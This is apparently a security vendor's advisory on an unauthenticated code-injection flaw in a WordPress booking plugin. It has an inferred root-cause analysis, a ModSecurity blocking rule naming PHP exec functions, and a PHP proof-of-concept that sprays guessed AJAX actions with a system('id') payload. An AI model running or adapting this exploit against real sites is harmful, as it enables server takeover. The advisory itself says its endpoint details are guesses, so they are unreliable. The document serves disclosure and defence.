Atomic Edge analysis of CVE-2026-61962 (metadata-based):
This vulnerability is an unauthenticated remote code execution flaw in the WordPress plugin WP BASE Booking of Appointments, Services and Events versions up to and including 6.3.0. The CVSS score of 9.8 reflects a network-based, low-complexity attack requiring no privileges or user interaction, leading to full confidentiality, integrity, and availability impact. Atomic Edge research classifies this as critical severity.
Root Cause: The assigned CWE is 94, Improper Control of Generation of Code (‘Code Injection’). This classification, combined with the description of unauthenticated RCE, strongly suggests that the plugin accepts user-supplied input and passes it to a code execution function such as eval(), create_function(), or call_user_func() with attacker-controlled arguments. Likely sources include an AJAX action, REST endpoint, or direct PHP file that lacks authentication and capability checks. The exact vulnerable code is not available for confirmation because the plugin versions are not downloadable. Atomic Edge analysis infers that the plugin fails to sanitize or validate input before using it in a dynamic code context. No nonce or capability check is likely present, given the unauthenticated vector.
Exploitation: An attacker can send a crafted HTTP request to the WordPress AJAX handler at /wp-admin/admin-ajax.php with an action parameter that matches a vulnerable hook, such as wp_base_booking_execute or similar. Because the CWE indicates code injection, the request likely carries a parameter (e.g., ‘code’, ‘callback’, ‘template’, or ‘function’) whose value is directly evaluated by the plugin. A proof-of-concept would POST a PHP payload like system(‘id’) or a webshell to that endpoint. Atomic Edge research assumes the action name can be derived from the plugin slug or common naming conventions; without source code, the exact parameter and action remain inferred. The attack is unauthenticated, so no cookies or nonces are required. A successful exploit results in arbitrary command execution on the server hosting WordPress.
Remediation: The fix in version 6.3.1 likely removes the dangerous code evaluation pattern. It would replace dynamic code generation with safe alternatives (e.g., a whitelist of allowed callbacks, or proper escaping and validation). Developers should also add authentication and capability checks (e.g., current_user_can(‘manage_options’)) to any function that handles user input. Atomic Edge analysis recommends that site owners update to 6.3.1 immediately and, if unable to update, apply a virtual patch at the WAF layer to block suspicious requests to the vulnerable endpoint.
Impact: Successful exploitation grants an unauthenticated attacker the ability to execute arbitrary PHP code and system commands on the web server. This leads to complete compromise of the WordPress site, including data theft (database credentials, user data), website defacement, installation of backdoors, and potential lateral movement to other services on the same host. The CVSS vector confirms high impact across confidentiality, integrity, and availability.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-61962 (metadata-based)
# This rule targets the inferred AJAX action and parameter used for code injection.
# Since the exact action name is unknown, we block common patterns that contain PHP code.
# The rule is chained: request must target admin-ajax.php, action must start with 'wp_base' or 'base_booking',
# and a parameter must contain suspicious PHP code functions.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261962,phase:2,deny,status:403,chain,msg:'CVE-2026-61962 via WP BASE Booking AJAX code injection',severity:'CRITICAL',tag:'CVE-2026-61962'"
SecRule ARGS_POST:action "@rx ^(wp_base|base_booking|booking_action)" "chain"
SecRule ARGS_POST "@rx (system|exec|shell_exec|passthru|eval|assert|create_function|call_user_func)s*(" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-61962 - WP BASE Booking of Appointments, Services and Events <= 6.3.0 - Unauthenticated Remote Code Execution
// This PoC assumes the vulnerable endpoint is WordPress admin-ajax.php and that the
// plugin uses an action name derived from its slug. The exact action and parameter
// are inferred from the CWE (code injection) and typical WordPress patterns.
$target_url = 'http://example.com'; // Change to target WordPress site URL
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
// Likely action names based on plugin slug and common conventions.
$possible_actions = [
'wp_base_booking_action',
'base_booking_action',
'wpbase_booking',
'booking_action',
];
// Likely parameter names that might be evaluated as code.
$possible_params = ['code', 'callback', 'template', 'function', 'data', 'content'];
$php_payload = "system('id');"; // Command execution test
$success = false;
foreach ($possible_actions as $action) {
foreach ($possible_params as $param) {
$post_data = [
'action' => $action,
$param => $php_payload,
];
$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Look for signs of command output (e.g., uid=) or error messages.
if ($http_code == 200 && (strpos($response, 'uid=') !== false || strpos($response, 'root') !== false)) {
echo "[+] Potential exploit success with action=$action, param=$paramn";
echo "Response snippet: " . substr($response, 0, 200) . "n";
$success = true;
break 2;
}
}
}
if (!$success) {
echo "[-] No immediate success. The action/parameter combination may differ.n";
echo " Manual testing with other action names or parameters is required.n";
}
?>